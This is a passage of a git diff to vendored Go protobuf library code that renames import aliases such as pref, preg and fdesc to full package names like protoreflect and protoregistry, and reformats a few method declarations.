p.once.Do(func() { if len(p.List) > 0 { - p.has = make(map[pref.Name]int, len(p.List)) + p.has = make(map[protoreflect.Name]int, len(p.List)) for _, s := range p.List { p.has[s] = p.has[s] + 1 } @@ -67,14 +66,14 @@ func (p *Names) CheckValid() error { } type EnumRanges struct { - List [][2]pref.EnumNumber // start inclusive; end inclusive + List [][2]protoreflect.EnumNumber // start inclusive; end inclusive once sync.Once - sorted [][2]pref.EnumNumber // protected by once + sorted [][2]protoreflect.EnumNumber // protected by once } -func (p *EnumRanges) Len() int { return len(p.List) } -func (p *EnumRanges) Get(i int) [2]pref.EnumNumber { return p.List[i] } -func (p *EnumRanges) Has(n pref.EnumNumber) bool { +func (p *EnumRanges) Len() int { return len(p.List) } +func (p *EnumRanges) Get(i int) [2]protoreflect.EnumNumber { return p.List[i] } +func (p *EnumRanges) Has(n protoreflect.EnumNumber) bool { for ls := p.lazyInit().sorted; len(ls) > 0; { i := len(ls) / 2 switch r := enumRange(ls[i]); { @@ -129,14 +128,14 @@ func (r enumRange) String() string { } type FieldRanges struct { - List [][2]pref.FieldNumber // start inclusive; end exclusive + List [][2]protoreflect.FieldNumber // start inclusive; end exclusive once sync.Once - sorted [][2]pref.FieldNumber // protected by once + sorted [][2]protoreflect.FieldNumber // protected by once } -func (p *FieldRanges) Len() int { return len(p.List) } -func (p *FieldRanges) Get(i int) [2]pref.FieldNumber { return p.List[i] } -func (p *FieldRanges) Has(n pref.FieldNumber) bool { +func (p *FieldRanges) Len() int { return len(p.List) } +func (p *FieldRanges) Get(i int) [2]protoreflect.FieldNumber { return p.List[i] } +func (p *FieldRanges) Has(n protoreflect.FieldNumber) bool { for ls := p.lazyInit().sorted; len(ls) > 0; { i := len(ls) / 2 switch r := fieldRange(ls[i]); { @@ -221,17 +220,17 @@ func (r fieldRange) String() string { } type FieldNumbers struct { - List []pref.FieldNumber + List []protoreflect.FieldNumber once sync.Once - has map[pref.FieldNumber]struct{} // protected by once + has map[protoreflect.FieldNumber]struct{} // protected by once } -func (p *FieldNumbers) Len() int { return len(p.List) } -func (p *FieldNumbers) Get(i int) pref.FieldNumber { return p.List[i] } -func (p *FieldNumbers) Has(n pref.FieldNumber) bool { +func (p *FieldNumbers) Len() int { return len(p.List) } +func (p *FieldNumbers) Get(i int) protoreflect.FieldNumber { return p.List[i] } +func (p *FieldNumbers) Has(n protoreflect.FieldNumber) bool { p.once.Do(func() { if len(p.List) > 0 { - p.has = make(map[pref.FieldNumber]struct{}, len(p.List)) + p.has = make(map[protoreflect.FieldNumber]struct{}, len(p.List)) for _, n := range p.List { p.has[n] = struct{}{} } @@ -244,30 +243,38 @@ func (p *FieldNumbers) Format(s fmt.State, r rune) { descfmt.FormatList func (p *FieldNumbers) ProtoInternal(pragma.DoNotImplement) {} type OneofFields struct { - List []pref.FieldDescriptor + List []protoreflect.FieldDescriptor once sync.Once - byName map[pref.Name]pref.FieldDescriptor // protected by once - byJSON map[string]pref.FieldDescriptor // protected by once - byText map[string]pref.FieldDescriptor // protected by once - byNum map[pref.FieldNumber]pref.FieldDescriptor // protected by once + byName map[protoreflect.Name]protoreflect.FieldDescriptor // protected by once + byJSON map[string]protoreflect.FieldDescriptor // protected by once + byText map[string]protoreflect.FieldDescriptor // protected by once + byNum map[protoreflect.FieldNumber]protoreflect.FieldDescriptor // protected by once } -func (p *OneofFields) Len() int { return len(p.List) } -func (p *OneofFields) Get(i int) pref.FieldDescriptor { return p.List[i] } -func (p *OneofFields) ByName(s pref.Name) pref.FieldDescriptor { return p.lazyInit().byName[s] } -func (p *OneofFields) ByJSONName(s string) pref.FieldDescriptor { return p.lazyInit().byJSON[s] } -func (p *OneofFields) ByTextName(s string) pref.FieldDescriptor { return p.lazyInit().byText[s] } -func (p *OneofFields) ByNumber(n pref.FieldNumber) pref.FieldDescriptor { return p.lazyInit().byNum[n] } -func (p *OneofFields) Format(s fmt.State, r rune) { descfmt.FormatList(s, r, p) } -func (p *OneofFields) ProtoInternal(pragma.DoNotImplement) {} +func (p *OneofFields) Len() int { return len(p.List) } +func (p *OneofFields) Get(i int) protoreflect.FieldDescriptor { return p.List[i] } +func (p *OneofFields) ByName(s protoreflect.Name) protoreflect.FieldDescriptor { + return p.lazyInit().byName[s] +} +func (p *OneofFields) ByJSONName(s string) protoreflect.FieldDescriptor { + return p.lazyInit().byJSON[s] +} +func (p *OneofFields) ByTextName(s string) protoreflect.FieldDescriptor { + return p.lazyInit().byText[s] +} +func (p *OneofFields) ByNumber(n protoreflect.FieldNumber) protoreflect.FieldDescriptor { + return p.lazyInit().byNum[n] +} +func (p *OneofFields) Format(s fmt.State, r rune) { descfmt.FormatList(s, r, p) } +func (p *OneofFields) ProtoInternal(pragma.DoNotImplement) {} func (p *OneofFields) lazyInit() *OneofFields { p.once.Do(func() { if len(p.List) > 0 { - p.byName = make(map[pref.Name]pref.FieldDescriptor, len(p.List)) - p.byJSON = make(map[string]pref.FieldDescriptor, len(p.List)) - p.byText = make(map[string]pref.FieldDescriptor, len(p.List)) - p.byNum = make(map[pref.FieldNumber]pref.FieldDescriptor, len(p.List)) + p.byName = make(map[protoreflect.Name]protoreflect.FieldDescriptor, len(p.List)) + p.byJSON = make(map[string]protoreflect.FieldDescriptor, len(p.List)) + p.byText = make(map[string]protoreflect.FieldDescriptor, len(p.List)) + p.byNum = make(map[protoreflect.FieldNumber]protoreflect.FieldDescriptor, len(p.List)) for _, f := range p.List { // Field names and numbers are guaranteed to be unique. p.byName[f.Name()] = f @@ -284,123 +291,123 @@ type SourceLocations struct { // List is a list of SourceLocations. // The SourceLocation.Next field does not need to be populated // as it will be lazily populated upon first need. - List []pref.SourceLocation + List []protoreflect.SourceLocation // File is the parent file descriptor that these locations are relative to. // If non-nil, ByDescriptor verifies that the provided descriptor // is a child of this file descriptor. - File pref.FileDescriptor + File protoreflect.FileDescriptor once sync.Once byPath map[pathKey]int } -func (p *SourceLocations) Len() int { return len(p.List) } -func (p *SourceLocations) Get(i int) pref.SourceLocation { return p.lazyInit().List[i] } -func (p *SourceLocations) byKey(k pathKey) pref.SourceLocation { +func (p *SourceLocations) Len() int { return len(p.List) } +func (p *SourceLocations) Get(i int) protoreflect.SourceLocation { return p.lazyInit().List[i] } +func (p *SourceLocations) byKey(k pathKey) protoreflect.SourceLocation { if i, ok := p.lazyInit().byPath[k]; ok { return p.List[i] } - return pref.SourceLocation{} + return protoreflect.SourceLocation{} } -func (p *SourceLocations) ByPath(path pref.SourcePath) pref.SourceLocation { +func (p *SourceLocations) ByPath(path protoreflect.SourcePath) protoreflect.SourceLocation { return p.byKey(newPathKey(path)) } -func (p *SourceLocations) ByDescriptor(desc pref.Descriptor) pref.SourceLocation { +func (p *SourceLocations) ByDescriptor(desc protoreflect.Descriptor) protoreflect.SourceLocation { if p.File != nil && desc != nil && p.File != desc.ParentFile() { - return pref.SourceLocation{} // mismatching parent files + return protoreflect.SourceLocation{} // mismatching parent files } var pathArr [16]int32 path := pathArr[:0] for { switch desc.(type) { - case pref.FileDescriptor: + case protoreflect.FileDescriptor: // Reverse the path since it was constructed in reverse. for i, j := 0, len(path)-1; i < j; i, j = i+1, j-1 { path[i], path[j] = path[j], path[i] } return p.byKey(newPathKey(path)) - case pref.MessageDescriptor: + case protoreflect.MessageDescriptor: path = append(path, int32(desc.Index())) desc = desc.Parent() switch desc.(type) { - case pref.FileDescriptor: + case protoreflect.FileDescriptor: path = append(path, int32(genid.FileDescriptorProto_MessageType_field_number)) - case pref.MessageDescriptor: + case protoreflect.MessageDescriptor: path = append(path, int32(genid.DescriptorProto_NestedType_field_number)) default: - return pref.SourceLocation{} + return protoreflect.SourceLocation{} } - case pref.FieldDescriptor: - isExtension := desc.(pref.FieldDescriptor).IsExtension() + case protoreflect.FieldDescriptor: + isExtension := desc.(protoreflect.FieldDescriptor).IsExtension() path = append(path, int32(desc.Index())) desc = desc.Parent() if isExtension { switch desc.(type) { - case pref.FileDescriptor: + case protoreflect.FileDescriptor: path = append(path, int32(genid.FileDescriptorProto_Extension_field_number)) - case pref.MessageDescriptor: + case protoreflect.MessageDescriptor: path = append(path, int32(genid.DescriptorProto_Extension_field_number)) default: - return pref.SourceLocation{} + return protoreflect.SourceLocation{} } } else { switch desc.(type) { - case pref.MessageDescriptor: + case protoreflect.MessageDescriptor: path = append(path, int32(genid.DescriptorProto_Field_field_number)) default: - return pref.SourceLocation{} + return protoreflect.SourceLocation{} } } - case pref.OneofDescriptor: + case protoreflect.OneofDescriptor: path = append(path, int32(desc.Index())) desc = desc.Parent() switch desc.(type) { - case pref.MessageDescriptor: + case protoreflect.MessageDescriptor: path = append(path, int32(genid.DescriptorProto_OneofDecl_field_number)) default: - return pref.SourceLocation{} + return protoreflect.SourceLocation{} } - case pref.EnumDescriptor: + case protoreflect.EnumDescriptor: path = append(path, int32(desc.Index())) desc = desc.Parent() switch desc.(type) { - case pref.FileDescriptor: + case protoreflect.FileDescriptor: path = append(path, int32(genid.FileDescriptorProto_EnumType_field_number)) - case pref.MessageDescriptor: + case protoreflect.MessageDescriptor: path = append(path, int32(genid.DescriptorProto_EnumType_field_number)) default: - return pref.SourceLocation{} + return protoreflect.SourceLocation{} } - case pref.EnumValueDescriptor: + case protoreflect.EnumValueDescriptor: path = append(path, int32(desc.Index())) desc = desc.Parent() switch desc.(type) { - case pref.EnumDescriptor: + case protoreflect.EnumDescriptor: path = append(path, int32(genid.EnumDescriptorProto_Value_field_number)) default: - return pref.SourceLocation{} + return protoreflect.SourceLocation{} } - case pref.ServiceDescriptor: + case protoreflect.ServiceDescriptor: path = append(path, int32(desc.Index())) desc = desc.Parent() switch desc.(type) { - case pref.FileDescriptor: + case protoreflect.FileDescriptor: path = append(path, int32(genid.FileDescriptorProto_Service_field_number)) default: - return pref.SourceLocation{} + return protoreflect.SourceLocation{} } - case pref.MethodDescriptor: + case protoreflect.MethodDescriptor: path = append(path, int32(desc.Index())) desc = desc.Parent() switch desc.(type) { - case pref.ServiceDescriptor: + case protoreflect.ServiceDescriptor: path = append(path, int32(genid.ServiceDescriptorProto_Method_field_number)) default: - return pref.SourceLocation{} + return protoreflect.SourceLocation{} } default: - return pref.SourceLocation{} + return protoreflect.SourceLocation{} } } } @@ -435,7 +442,7 @@ type pathKey struct { str string // used if the path does not fit in arr } -func newPathKey(p pref.SourcePath) (k pathKey) { +func newPathKey(p protoreflect.SourcePath) (k pathKey) { if len(p) < len(k.arr) { for i, ps := range p { if ps < 0 || math.MaxUint8 <= ps { diff --git a/vendor/google.golang.org/protobuf/internal/filedesc/placeholder.go b/vendor/google.golang.org/protobuf/internal/filedesc/placeholder.go index dbf2c605b..28240ebc5 100644 --- a/vendor/google.golang.org/protobuf/internal/filedesc/placeholder.go +++ b/vendor/google.golang.org/protobuf/internal/filedesc/placeholder.go @@ -7,7 +7,7 @@ package filedesc import ( "google.golang.org/protobuf/internal/descopts" "google.golang.org/protobuf/internal/pragma" - pref "google.golang.org/protobuf/reflect/protoreflect" + "google.golang.org/protobuf/reflect/protoreflect" ) var ( @@ -30,78 +30,80 @@ var ( // PlaceholderFile is a placeholder, representing only the file path. type PlaceholderFile string -func (f PlaceholderFile) ParentFile() pref.FileDescriptor { return f } -func (f PlaceholderFile) Parent() pref.Descriptor { return nil } -func (f PlaceholderFile) Index() int { return 0 } -func (f PlaceholderFile) Syntax() pref.Syntax { return 0 } -func (f PlaceholderFile) Name() pref.Name { return "" } -func (f PlaceholderFile) FullName() pref.FullName { return "" } -func (f PlaceholderFile) IsPlaceholder() bool { return true } -func (f PlaceholderFile) Options() pref.ProtoMessage { return descopts.File } -func (f PlaceholderFile) Path() string { return string(f) } -func (f PlaceholderFile) Package() pref.FullName { return "" } -func (f PlaceholderFile) Imports() pref.FileImports { return emptyFiles } -func (f PlaceholderFile) Messages() pref.MessageDescriptors { return emptyMessages } -func (f PlaceholderFile) Enums() pref.EnumDescriptors { return emptyEnums } -func (f PlaceholderFile) Extensions() pref.ExtensionDescriptors { return emptyExtensions } -func (f PlaceholderFile) Services() pref.ServiceDescriptors { return emptyServices } -func (f PlaceholderFile) SourceLocations() pref.SourceLocations { return emptySourceLocations } -func (f PlaceholderFile) ProtoType(pref.FileDescriptor) { return } -func (f PlaceholderFile) ProtoInternal(pragma.DoNotImplement) { return } +func (f PlaceholderFile) ParentFile() protoreflect.FileDescriptor { return f } +func (f PlaceholderFile) Parent() protoreflect.Descriptor { return nil } +func (f PlaceholderFile) Index() int { return 0 } +func (f PlaceholderFile) Syntax() protoreflect.Syntax { return 0 } +func (f PlaceholderFile) Name() protoreflect.Name { return "" } +func (f PlaceholderFile) FullName() protoreflect.FullName { return "" } +func (f PlaceholderFile) IsPlaceholder() bool { return true } +func (f PlaceholderFile) Options() protoreflect.ProtoMessage { return descopts.File } +func (f PlaceholderFile) Path() string { return string(f) } +func (f PlaceholderFile) Package() protoreflect.FullName { return "" } +func (f PlaceholderFile) Imports() protoreflect.FileImports { return emptyFiles } +func (f PlaceholderFile) Messages() protoreflect.MessageDescriptors { return emptyMessages } +func (f PlaceholderFile) Enums() protoreflect.EnumDescriptors { return emptyEnums } +func (f PlaceholderFile) Extensions() protoreflect.ExtensionDescriptors { return emptyExtensions } +func (f PlaceholderFile) Services() protoreflect.ServiceDescriptors { return emptyServices } +func (f PlaceholderFile) SourceLocations() protoreflect.SourceLocations { return emptySourceLocations } +func (f PlaceholderFile) ProtoType(protoreflect.FileDescriptor) { return } +func (f PlaceholderFile) ProtoInternal(pragma.DoNotImplement) { return } // PlaceholderEnum is a placeholder, representing only the full name. -type PlaceholderEnum pref.FullName +type PlaceholderEnum protoreflect.FullName -func (e PlaceholderEnum) ParentFile() pref.FileDescriptor { return nil } -func (e PlaceholderEnum) Parent() pref.Descriptor { return nil } -func (e PlaceholderEnum) Index() int { return 0 } -func (e PlaceholderEnum) Syntax() pref.Syntax { return 0 } -func (e PlaceholderEnum) Name() pref.Name { return pref.FullName(e).Name() } -func (e PlaceholderEnum) FullName() pref.FullName { return pref.FullName(e) } -func (e PlaceholderEnum) IsPlaceholder() bool { return true } -func (e PlaceholderEnum) Options() pref.ProtoMessage { return descopts.Enum } -func (e PlaceholderEnum) Values() pref.EnumValueDescriptors { return emptyEnumValues } -func (e PlaceholderEnum) ReservedNames() pref.Names { return emptyNames } -func (e PlaceholderEnum) ReservedRanges() pref.EnumRanges { return emptyEnumRanges } -func (e PlaceholderEnum) ProtoType(pref.EnumDescriptor) { return } -func (e PlaceholderEnum) ProtoInternal(pragma.DoNotImplement) { return } +func (e PlaceholderEnum) ParentFile() protoreflect.FileDescriptor { return nil } +func (e PlaceholderEnum) Parent() protoreflect.Descriptor { return nil } +func (e PlaceholderEnum) Index() int { return 0 } +func (e PlaceholderEnum) Syntax() protoreflect.Syntax { return 0 } +func (e PlaceholderEnum) Name() protoreflect.Name { return protoreflect.FullName(e).Name() } +func (e PlaceholderEnum) FullName() protoreflect.FullName { return protoreflect.FullName(e) } +func (e PlaceholderEnum) IsPlaceholder() bool { return true } +func (e PlaceholderEnum) Options() protoreflect.ProtoMessage { return descopts.Enum } +func (e PlaceholderEnum) Values() protoreflect.EnumValueDescriptors { return emptyEnumValues } +func (e PlaceholderEnum) ReservedNames() protoreflect.Names { return emptyNames } +func (e PlaceholderEnum) ReservedRanges() protoreflect.EnumRanges { return emptyEnumRanges } +func (e PlaceholderEnum) ProtoType(protoreflect.EnumDescriptor) { return } +func (e PlaceholderEnum) ProtoInternal(pragma.DoNotImplement) { return } // PlaceholderEnumValue is a placeholder, representing only the full name. -type PlaceholderEnumValue pref.FullName +type PlaceholderEnumValue protoreflect.FullName -func (e PlaceholderEnumValue) ParentFile() pref.FileDescriptor { return nil } -func (e PlaceholderEnumValue) Parent() pref.Descriptor { return nil } -func (e PlaceholderEnumValue) Index() int { return 0 } -func (e PlaceholderEnumValue) Syntax() pref.Syntax { return 0 } -func (e PlaceholderEnumValue) Name() pref.Name { return pref.FullName(e).Name() } -func (e PlaceholderEnumValue) FullName() pref.FullName { return pref.FullName(e) } -func (e PlaceholderEnumValue) IsPlaceholder() bool { return true } -func (e PlaceholderEnumValue) Options() pref.ProtoMessage { return descopts.EnumValue } -func (e PlaceholderEnumValue) Number() pref.EnumNumber { return 0 } -func (e PlaceholderEnumValue) ProtoType(pref.EnumValueDescriptor) { return } -func (e PlaceholderEnumValue) ProtoInternal(pragma.DoNotImplement) { return } +func (e PlaceholderEnumValue) ParentFile() protoreflect.FileDescriptor { return nil } +func (e PlaceholderEnumValue) Parent() protoreflect.Descriptor { return nil } +func (e PlaceholderEnumValue) Index() int { return 0 } +func (e PlaceholderEnumValue) Syntax() protoreflect.Syntax { return 0 } +func (e PlaceholderEnumValue) Name() protoreflect.Name { return protoreflect.FullName(e).Name() } +func (e PlaceholderEnumValue) FullName() protoreflect.FullName { return protoreflect.FullName(e) } +func (e PlaceholderEnumValue) IsPlaceholder() bool { return true } +func (e PlaceholderEnumValue) Options() protoreflect.ProtoMessage { return descopts.EnumValue } +func (e PlaceholderEnumValue) Number() protoreflect.EnumNumber { return 0 } +func (e PlaceholderEnumValue) ProtoType(protoreflect.EnumValueDescriptor) { return } +func (e PlaceholderEnumValue) ProtoInternal(pragma.DoNotImplement) { return } // PlaceholderMessage is a placeholder, representing only the full name. -type PlaceholderMessage pref.FullName +type PlaceholderMessage protoreflect.FullName -func (m PlaceholderMessage) ParentFile() pref.FileDescriptor { return nil } -func (m PlaceholderMessage) Parent() pref.Descriptor { return nil } -func (m PlaceholderMessage) Index() int { return 0 } -func (m PlaceholderMessage) Syntax() pref.Syntax { return 0 } -func (m PlaceholderMessage) Name() pref.Name { return pref.FullName(m).Name() } -func (m PlaceholderMessage) FullName() pref.FullName { return pref.FullName(m) } -func (m PlaceholderMessage) IsPlaceholder() bool { return true } -func (m PlaceholderMessage) Options() pref.ProtoMessage { return descopts.Message } -func (m PlaceholderMessage) IsMapEntry() bool { return false } -func (m PlaceholderMessage) Fields() pref.FieldDescriptors { return emptyFields } -func (m PlaceholderMessage) Oneofs() pref.OneofDescriptors { return emptyOneofs } -func (m PlaceholderMessage) ReservedNames() pref.Names { return emptyNames } -func (m PlaceholderMessage) ReservedRanges() pref.FieldRanges { return emptyFieldRanges } -func (m PlaceholderMessage) RequiredNumbers() pref.FieldNumbers { return emptyFieldNumbers } -func (m PlaceholderMessage) ExtensionRanges() pref.FieldRanges { return emptyFieldRanges } -func (m PlaceholderMessage) ExtensionRangeOptions(int) pref.ProtoMessage { panic("index out of range") } -func (m PlaceholderMessage) Messages() pref.MessageDescriptors { return emptyMessages } -func (m PlaceholderMessage) Enums() pref.EnumDescriptors { return emptyEnums } -func (m PlaceholderMessage) Extensions() pref.ExtensionDescriptors { return emptyExtensions } -func (m PlaceholderMessage) ProtoType(pref.MessageDescriptor) { return } -func (m PlaceholderMessage) ProtoInternal(pragma.DoNotImplement) { return } +func (m PlaceholderMessage) ParentFile() protoreflect.FileDescriptor { return nil } +func (m PlaceholderMessage) Parent() protoreflect.Descriptor { return nil } +func (m PlaceholderMessage) Index() int { return 0 } +func (m PlaceholderMessage) Syntax() protoreflect.Syntax { return 0 } +func (m PlaceholderMessage) Name() protoreflect.Name { return protoreflect.FullName(m).Name() } +func (m PlaceholderMessage) FullName() protoreflect.FullName { return protoreflect.FullName(m) } +func (m PlaceholderMessage) IsPlaceholder() bool { return true } +func (m PlaceholderMessage) Options() protoreflect.ProtoMessage { return descopts.Message } +func (m PlaceholderMessage) IsMapEntry() bool { return false } +func (m PlaceholderMessage) Fields() protoreflect.FieldDescriptors { return emptyFields } +func (m PlaceholderMessage) Oneofs() protoreflect.OneofDescriptors { return emptyOneofs } +func (m PlaceholderMessage) ReservedNames() protoreflect.Names { return emptyNames } +func (m PlaceholderMessage) ReservedRanges() protoreflect.FieldRanges { return emptyFieldRanges } +func (m PlaceholderMessage) RequiredNumbers() protoreflect.FieldNumbers { return emptyFieldNumbers } +func (m PlaceholderMessage) ExtensionRanges() protoreflect.FieldRanges { return emptyFieldRanges } +func (m PlaceholderMessage) ExtensionRangeOptions(int) protoreflect.ProtoMessage { + panic("index out of range") +} +func (m PlaceholderMessage) Messages() protoreflect.MessageDescriptors { return emptyMessages } +func (m PlaceholderMessage) Enums() protoreflect.EnumDescriptors { return emptyEnums } +func (m PlaceholderMessage) Extensions() protoreflect.ExtensionDescriptors { return emptyExtensions } +func (m PlaceholderMessage) ProtoType(protoreflect.MessageDescriptor) { return } +func (m PlaceholderMessage) ProtoInternal(pragma.DoNotImplement) { return } diff --git a/vendor/google.golang.org/protobuf/internal/filetype/build.go b/vendor/google.golang.org/protobuf/internal/filetype/build.go index 0a0dd35de..f0e38c4ef 100644 --- a/vendor/google.golang.org/protobuf/internal/filetype/build.go +++ b/vendor/google.golang.org/protobuf/internal/filetype/build.go @@ -10,17 +10,16 @@ import ( "reflect" "google.golang.org/protobuf/internal/descopts" - fdesc "google.golang.org/protobuf/internal/filedesc" + "google.golang.org/protobuf/internal/filedesc" pimpl "google.golang.org/protobuf/internal/impl" - pref "google.golang.org/protobuf/reflect/protoreflect" - preg "google.golang.org/protobuf/reflect/protoregistry" + "google.golang.org/protobuf/reflect/protoreflect" + "google.golang.org/protobuf/reflect/protoregistry" ) // Builder constructs type descriptors from a raw file descriptor // and associated Go types for each enum and message declaration. // -// -// Flattened Ordering +// # Flattened Ordering // // The protobuf type system represents declarations as a tree. Certain nodes in // the tree require us to either associate it with a concrete Go type or to @@ -52,7 +51,7 @@ import ( // that children themselves may have. type Builder struct { // File is the underlying file descriptor builder. - File fdesc.Builder + File filedesc.Builder // GoTypes is a unique set of the Go types for all declarations and // dependencies. Each type is represented as a zero value of the Go type. @@ -108,22 +107,22 @@ type Builder struct { // TypeRegistry is the registry to register each type descriptor. // If nil, it uses protoregistry.GlobalTypes. TypeRegistry interface { - RegisterMessage(pref.MessageType) error - RegisterEnum(pref.EnumType) error - RegisterExtension(pref.ExtensionType) error + RegisterMessage(protoreflect.MessageType) error + RegisterEnum(protoreflect.EnumType) error + RegisterExtension(protoreflect.ExtensionType) error } } // Out is the output of the builder. type Out struct { - File pref.FileDescriptor + File protoreflect.FileDescriptor } func (tb Builder) Build() (out Out) { // Replace the resolver with one that resolves dependencies by index, // which is faster and more reliable than relying on the global registry. if tb.File.FileRegistry == nil { - tb.File.FileRegistry = preg.GlobalFiles + tb.File.FileRegistry = protoregistry.GlobalFiles } tb.File.FileRegistry = &resolverByIndex{ goTypes: tb.GoTypes, @@ -133,7 +132,7 @@ func (tb Builder) Build() (out Out) { // Initialize registry if unpopulated. if tb.TypeRegistry == nil { - tb.TypeRegistry = preg.GlobalTypes + tb.TypeRegistry = protoregistry.GlobalTypes } fbOut := tb.File.Build() @@ -183,23 +182,23 @@ func (tb Builder) Build() (out Out) { for i := range fbOut.Messages { switch fbOut.Messages[i].Name() { case "FileOptions": - descopts.File = messageGoTypes[i].(pref.ProtoMessage) + descopts.File = messageGoTypes[i].(protoreflect.ProtoMessage) case "EnumOptions": - descopts.Enum = messageGoTypes[i].(pref.ProtoMessage) + descopts.Enum = messageGoTypes[i].(protoreflect.ProtoMessage) case "EnumValueOptions": - descopts.EnumValue = messageGoTypes[i].(pref.ProtoMessage) + descopts.EnumValue = messageGoTypes[i].(protoreflect.ProtoMessage) case "MessageOptions": - descopts.Message = messageGoTypes[i].(pref.ProtoMessage) + descopts.Message = messageGoTypes[i].(protoreflect.ProtoMessage) case "FieldOptions": - descopts.Field = messageGoTypes[i].(pref.ProtoMessage) + descopts.Field = messageGoTypes[i].(protoreflect.ProtoMessage) case "OneofOptions": - descopts.Oneof = messageGoTypes[i].(pref.ProtoMessage) + descopts.Oneof = messageGoTypes[i].(protoreflect.ProtoMessage) case "ExtensionRangeOptions": - descopts.ExtensionRange = messageGoTypes[i].(pref.ProtoMessage) + descopts.ExtensionRange = messageGoTypes[i].(protoreflect.ProtoMessage) case "ServiceOptions": - descopts.Service = messageGoTypes[i].(pref.ProtoMessage) + descopts.Service = messageGoTypes[i].(protoreflect.ProtoMessage) case "MethodOptions": - descopts.Method = messageGoTypes[i].(pref.ProtoMessage) + descopts.Method = messageGoTypes[i].(protoreflect.ProtoMessage) } } } @@ -216,11 +215,11 @@ func (tb Builder) Build() (out Out) { const listExtDeps = 2 var goType reflect.Type switch fbOut.Extensions[i].L1.Kind { - case pref.EnumKind: + case protoreflect.EnumKind: j := depIdxs.Get(tb.DependencyIndexes, listExtDeps, depIdx) goType = reflect.TypeOf(tb.GoTypes[j]) depIdx++ - case pref.MessageKind, pref.GroupKind: + case protoreflect.MessageKind, protoreflect.GroupKind: j := depIdxs.Get(tb.DependencyIndexes, listExtDeps, depIdx) goType = reflect.TypeOf(tb.GoTypes[j]) depIdx++ @@ -242,22 +241,22 @@ func (tb Builder) Build() (out Out) { return out } -var goTypeForPBKind = map[pref.Kind]reflect.Type{ - pref.BoolKind: reflect.TypeOf(bool(false)), - pref.Int32Kind: reflect.TypeOf(int32(0)), - pref.Sint32Kind: reflect.TypeOf(int32(0)), - pref.Sfixed32Kind: reflect.TypeOf(int32(0)), - pref.Int64Kind: reflect.TypeOf(int64(0)), - pref.Sint64Kind: reflect.TypeOf(int64(0)), - pref.Sfixed64Kind: reflect.TypeOf(int64(0)), - pref.Uint32Kind: reflect.TypeOf(uint32(0)), - pref.Fixed32Kind: reflect.TypeOf(uint32(0)), - pref.Uint64Kind: reflect.TypeOf(uint64(0)), - pref.Fixed64Kind: reflect.TypeOf(uint64(0)), - pref.FloatKind: reflect.TypeOf(float32(0)), - pref.DoubleKind: reflect.TypeOf(float64(0)), - pref.StringKind: reflect.TypeOf(string("")), - pref.BytesKind: reflect.TypeOf([]byte(nil)), +var goTypeForPBKind = map[protoreflect.Kind]reflect.Type{ + protoreflect.BoolKind: reflect.TypeOf(bool(false)), + protoreflect.Int32Kind: reflect.TypeOf(int32(0)), + protoreflect.Sint32Kind: reflect.TypeOf(int32(0)), + protoreflect.Sfixed32Kind: reflect.TypeOf(int32(0)), + protoreflect.Int64Kind: reflect.TypeOf(int64(0)), + protoreflect.Sint64Kind: reflect.TypeOf(int64(0)), + protoreflect.Sfixed64Kind: reflect.TypeOf(int64(0)), + protoreflect.Uint32Kind: reflect.TypeOf(uint32(0)), + protoreflect.Fixed32Kind: reflect.TypeOf(uint32(0)), + protoreflect.Uint64Kind: reflect.TypeOf(uint64(0)), + protoreflect.Fixed64Kind: reflect.TypeOf(uint64(0)), + protoreflect.FloatKind: reflect.TypeOf(float32(0)), + protoreflect.DoubleKind: reflect.TypeOf(float64(0)), + protoreflect.StringKind: reflect.TypeOf(string("")), + protoreflect.BytesKind: reflect.TypeOf([]byte(nil)), } type depIdxs []int32 @@ -274,13 +273,13 @@ type ( fileRegistry } fileRegistry interface { - FindFileByPath(string) (pref.FileDescriptor, error) - FindDescriptorByName(pref.FullName) (pref.Descriptor, error) - RegisterFile(pref.FileDescriptor) error + FindFileByPath(string) (protoreflect.FileDescriptor, error) + FindDescriptorByName(protoreflect.FullName) (protoreflect.Descriptor, error) + RegisterFile(protoreflect.FileDescriptor) error } ) -func (r *resolverByIndex) FindEnumByIndex(i, j int32, es []fdesc.Enum, ms []fdesc.Message) pref.EnumDescriptor { +func (r *resolverByIndex) FindEnumByIndex(i, j int32, es []filedesc.Enum, ms []filedesc.Message) protoreflect.EnumDescriptor { if depIdx := int(r.depIdxs.Get(i, j)); int(depIdx) < len(es)+len(ms) { return &es[depIdx] } else { @@ -288,7 +287,7 @@ func (r *resolverByIndex) FindEnumByIndex(i, j int32, es []fdesc.Enum, ms []fdes } } -func (r *resolverByIndex) FindMessageByIndex(i, j int32, es []fdesc.Enum, ms []fdesc.Message) pref.MessageDescriptor { +func (r *resolverByIndex) FindMessageByIndex(i, j int32, es []filedesc.Enum, ms []filedesc.Message) protoreflect.MessageDescriptor { if depIdx := int(r.depIdxs.Get(i, j)); depIdx < len(es)+len(ms) { return &ms[depIdx-len(es)] } else { diff --git a/vendor/google.golang.org/protobuf/internal/impl/api_export.go b/vendor/google.golang.org/protobuf/internal/impl/api_export.go index abee5f30e..a371f98de 100644 --- a/vendor/google.golang.org/protobuf/internal/impl/api_export.go +++ b/vendor/google.golang.org/protobuf/internal/impl/api_export.go @@ -12,8 +12,8 @@ import ( "google.golang.org/protobuf/encoding/prototext" "google.golang.org/protobuf/internal/errors" "google.golang.org/protobuf/proto" - pref "google.golang.org/protobuf/reflect/protoreflect" - piface "google.golang.org/protobuf/runtime/protoiface" + "google.golang.org/protobuf/reflect/protoreflect" + "google.golang.org/protobuf/runtime/protoiface" ) // Export is a zero-length named type that exists only to export a set of @@ -32,11 +32,11 @@ type enum = interface{} // EnumOf returns the protoreflect.Enum interface over e. // It returns nil if e is nil. -func (Export) EnumOf(e enum) pref.Enum { +func (Export) EnumOf(e enum) protoreflect.Enum { switch e := e.(type) { case nil: return nil - case pref.Enum: + case protoreflect.Enum: return e default: return legacyWrapEnum(reflect.ValueOf(e)) @@ -45,11 +45,11 @@ func (Export) EnumOf(e enum) pref.Enum { // EnumDescriptorOf returns the protoreflect.EnumDescriptor for e. // It returns nil if e is nil. -func (Export) EnumDescriptorOf(e enum) pref.EnumDescriptor { +func (Export) EnumDescriptorOf(e enum) protoreflect.EnumDescriptor { switch e := e.(type) { case nil: return nil - case pref.Enum: + case protoreflect.Enum: return e.Descriptor() default: return LegacyLoadEnumDesc(reflect.TypeOf(e)) @@ -58,11 +58,11 @@ func (Export) EnumDescriptorOf(e enum) pref.EnumDescriptor { // EnumTypeOf returns the protoreflect.EnumType for e. // It returns nil if e is nil. -func (Export) EnumTypeOf(e enum) pref.EnumType { +func (Export) EnumTypeOf(e enum) protoreflect.EnumType { switch e := e.(type) 